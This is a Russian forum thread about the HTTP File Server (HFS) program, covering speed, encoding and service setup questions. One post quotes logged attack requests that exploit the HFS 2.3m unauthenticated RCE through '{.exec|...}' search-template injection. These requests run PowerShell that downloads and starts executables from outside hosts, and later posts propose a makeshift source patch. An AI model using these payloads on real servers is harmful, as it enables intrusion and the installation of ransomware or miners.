Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » HTTP File Server | HFS

Модерирует : gyra, Maz

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98

Открыть новую тему     Написать ответ в эту тему

exMIB



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору



Программа для обмена файлами через протокол HTTP в любой сети. Имеет встроенный web-сервер, определение портов, клиенты работают с ней через броузер введя адрес "сервер:порт". Система имеет свою систему авторизации и параметры безопасности ( доступ в определенные папки в зависимости от уровня доступа и многое другое). Веб-интерфейс для пользователей легко настраивается админом с помощью html-шаблонов, которые можно править в любом текстовом или html редакторе. Программа бесплатна и пользоваться ей  просто и удобно. Не требует установки.

Последние обновления:

HTTP File Server 2.3m (build 300) | Программа | Исходные коды | Искать русификатор | Подборка шаблонов
HTTP File Server HFS 2.3m #300 r12 trad SSL | Программа | Исходные коды | Форум

Русская версия HFS (HFS 2.4 rc2 bild 301)  | HFS 2.4 rc2 bild 301 RUS перевод Hunter23071985

Полностью переработанная русская версия HTTP File Server HFS 2.3m #300 r8 trad SSL - alexalsp | HTTP File Server HFS 2.3m #300 r8 trad SSL / Зеркало | Модуль превью рисунков для  шаблонов | Terayon v.1.3.4 + превью (RUS)

Как настроить и поставить, можно прочитать здесь | Настройка роутеров под HFS | DynDNS Или "Статический сайт - на динамическом IP"
Запуск в качестве сервиса (службы) в XP можно организовать с помощью  FireDaemon PRO или других программ

Всего записей: 3329 | Зарегистр. 27-09-2001 | Отправлено: 19:22 19-10-2004 | Исправлено: embrace909, 16:47 23-10-2024
vzhik777

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
инет 100 мбит.. отдает лишь на 30.. где че подкрутить? у меня гпон - оптика.
экспериментальную высокую вырубил - без нее до 25 скатилось.

Всего записей: 680 | Зарегистр. 03-03-2007 | Отправлено: 14:37 03-02-2023
DonTalk



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Поставил "Полностью переработанная русская версия HTTP File Server HFS 2.3m #300 r8 trad SSL - alexalsp"
выдает крякозяблы вместо Мб, Кб
Как можно победить? В оригинальной версии (2.3m) отображается нормально.
https://imgur.com/a/Z0wfC2U
 
Добавлено:
vzhik777
Тоже разбирался со скорость отдачи. Нашел в интернетах очень хорошее разъяснение.
Автора уже не вспомню, но суть следующая.
"Гигабит это 1000 мегабит, а не 1000 мегабайт. В одном байте 8 битов, поэтому просто посчитаем: 1 000 000 000 битов разделить на 8 битов = 125 000 000 байтов. В мегабайте около миллиона байтов, поэтому гигабитная сеть должна обеспечивать теоретическую максимальную скорость передачи данных около 125 Мбайт/с.
Однако в реальных условиях скорость сети будет серьёзно ограничиваться жёсткими дисками. В синтетическом сценарии память-память гигабитная сеть дает производительность, очень близкую к теоретическому пределу 125 Мбайт/с. Обычные же скорости в сети с учётом производительности жёстких дисков будут ограничиваться уровнем от 20 до 85 Мбайт/с, в зависимости от используемых винчестеров."
То есть в сухом остатке - на больших объемах скорость отдачи будет определяться скоростью винчестера.  
 

Всего записей: 291 | Зарегистр. 29-06-2016 | Отправлено: 11:46 08-02-2023 | Исправлено: DonTalk, 11:53 08-02-2023
AlexALSP



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Давно ним не занимаюсь. Да и сейчас не до этого. попробуйте, если это шаблон сторонний, в файлах шаблона прописать utf-8 либо если это встроенный то кодовую страницу заменить на utf-8 в редакторе шаблонов программы.

Всего записей: 1255 | Зарегистр. 22-04-2007 | Отправлено: 22:28 09-02-2023
miha2154

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Requested GET //?n=
> &cmd=powershell+-ExecutionPolicy+bypass+-noprofile+-windowstyle+hidden+(new-object+system.net.webclient).downloadfile('http://d.0000o.xyz:88/sihost.exe','javaw.exe');start-process+javaw
 
Requested GET /?n= > &cmd=powershell -Command "Invoke-WebRequest -Uri http://115.231.130.120:55225/ssyv.exe -OutFile C:\ProgramData\ssyv.exe; Start-Process C:\ProgramData\ssyv.exe"&search=%xxx%url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}
 
 
взламывают?

Всего записей: 626 | Зарегистр. 03-06-2006 | Отправлено: 19:58 15-06-2024 | Исправлено: miha2154, 10:24 16-06-2024
Lozok

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Да, у меня так уже запускали шифровальщик и майнер. Дыра во всех версиях, в том числе 2.4 RC. Там можно любой код выполнить, я для теста запускал калькулятор - работает.
 
Вот статья, буквально свежачок Rejetto HTTP File Server 2.3m Unauthenticated RCE
 
В 3 версии такой проблемы нет, но ставится через конченный нод.жс. Так что переходите на неё.

Всего записей: 4 | Зарегистр. 16-06-2024 | Отправлено: 13:59 16-06-2024 | Исправлено: Lozok, 17:21 16-06-2024
miha2154

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Так что переходите на неё.

языкам необучен

Всего записей: 626 | Зарегистр. 03-06-2006 | Отправлено: 23:05 16-06-2024
Lozok

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
В общем, ковырял-ковырял код, вроде нашёл какое-то решение, но насколько оно надёжное не знаю. По крайней мере, по тому GET-запросу уже ничего не запускается. Скачать можно здесь
 
Установка 3 версии довольно простая, но намного сложнее 2 версии. Инструкция
По сути, там надо скачать и установить Nod.js, а затем в командной строке ввести две команды. Настройка сервера происходит через браузер, интерфейс там недурный.

Всего записей: 4 | Зарегистр. 16-06-2024 | Отправлено: 00:45 18-06-2024
ozr1

Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Lozok
Цитата:
В 3 версии такой проблемы нет, но ставится через конченный нод.жс. Так что переходите на неё.

Всё бы хорошо, но под Win-7 node.js не установится: MSI-инсталлятор пишет, что требуется минимум Win-8.1, хотя в манифесте внутри node.exe работа под Win-7 заявлена (забыли убрать?).

Всего записей: 331 | Зарегистр. 05-07-2015 | Отправлено: 12:08 18-06-2024
paulrrus

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
В 3 версии такой проблемы нет, но ставится через конченный нод.жс. Так что переходите на неё

 
Спасибо за наводку, схема более чем рабочая. Тоже были проблемы со уязвимостью старой версии, которая много лет работала на домашнем серваке. Вчера накатил вместо семерки Windows 8.1 Embended, система работает шикарно, hfs через нод спокойно установился и запустился, а настройка через веб интерфейс просто сказка, знал бы раньше, давно бы обновился) С уязвимостью тоже проблем больше нет, судя по логам попытки есть, но безрезультатные. Осталось IP фильтрацию на роутере поднять и в принципе всё. Удачи всем!
 
 

Всего записей: 1 | Зарегистр. 03-07-2014 | Отправлено: 08:26 27-06-2024
Lozok

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Для тех, кто не хочет или не может перейти на 3 версию, можно добавить код в исходник и скомпилировать. После этого все подобные запросы не обрабатываются и ничего не запускается, тестировал несколько дней, мой сервер атакуют по несколько раз в день, так что проверено на практике.
После строки 4642 с кодом

Код:
s:=url;

вставить

Код:
if ContainsText(s, '.exec') then s:='/?search=';

 
Ну или вот скомпилированный файл https://disk.yandex.ru/d/mVEBKkG3aQI_uQ

Всего записей: 4 | Зарегистр. 16-06-2024 | Отправлено: 08:40 28-06-2024
miha2154

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
if ContainsText(s, '.exec') then s:='/?search=';  

а автор программы не знал, что так можно было?

Всего записей: 626 | Зарегистр. 03-06-2006 | Отправлено: 20:50 30-06-2024
Lozok

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
а автор программы не знал, что так можно было?

Это примитивная латка, как смог, так и полечил Дыра с поиском не первая https://rejetto.com/forum/index.php?pretty;board=bug-reports;topic=execution-exploit.0

Всего записей: 4 | Зарегистр. 16-06-2024 | Отправлено: 22:01 30-06-2024
vcrank

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1075 | Зарегистр. 24-10-2005 | Отправлено: 08:05 26-07-2024 | Исправлено: vcrank, 08:16 26-07-2024
vcrank

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
И всё же нужна помощь )
Старт в качестве слубы под Windows
Если запускаю просто hfs.exe, то доступ из вне есть
Если запускаю как службу через node.js, то есть только доступ с самого ПК. Даже внутри сети не открывается.
 
Что это может быть?
 
UPD 16.09.2024
На официальном форуме подсказли, но далеко не сразу. Надо добавить разрешающее правило для c:\Program Files\nodejs\node.exe в firewall

Всего записей: 1075 | Зарегистр. 24-10-2005 | Отправлено: 12:41 26-07-2024 | Исправлено: vcrank, 09:09 17-09-2024
embrace909



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Программка хорошая, но вот понадобилось ею подсовывать файлик не на GET-запрос, а на POST. Пробовал - на POST-запрос не отвечает, а чем бы сделать так и как?
 
P.S. Нашел решение для этого действия внутри локальной машины через программу Charles Web Debugging Proxy - там можно любой (get/post/https...) запрашиваемый URL подменять локальным файлом (TXT):
 
1) Help - SSL Proxying - Install Charles Root Certificate (установить в доверенные корневые сертификаты)
2) Proxy - SSL Proxying Settings... - Enable SSL Proxying - Include - Add - Host: *.appsite.com
3) Tools - Map Local... - Enable Map Local - Add - Map From:
Protocol: https
Host: my.appsite.com
Port: 443
Path: /api/app_check.txt
Query:
Map To:
Local Path: D:\SOFT\MyApp\app_check.txt (указать свой путь к локальному файлу app_check.txt)

Всего записей: 4624 | Зарегистр. 03-03-2006 | Отправлено: 13:53 08-09-2024 | Исправлено: embrace909, 09:58 24-09-2024
miha2154

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
настройка через веб интерфейс просто сказка

дануна! нихрена не понятно где чего, все не по-русски, powershell постоянно под ногами болтается.

Всего записей: 626 | Зарегистр. 03-06-2006 | Отправлено: 09:15 01-10-2024
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98

Компьютерный форум Ru.Board » Компьютеры » Программы » HTTP File Server | HFS


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru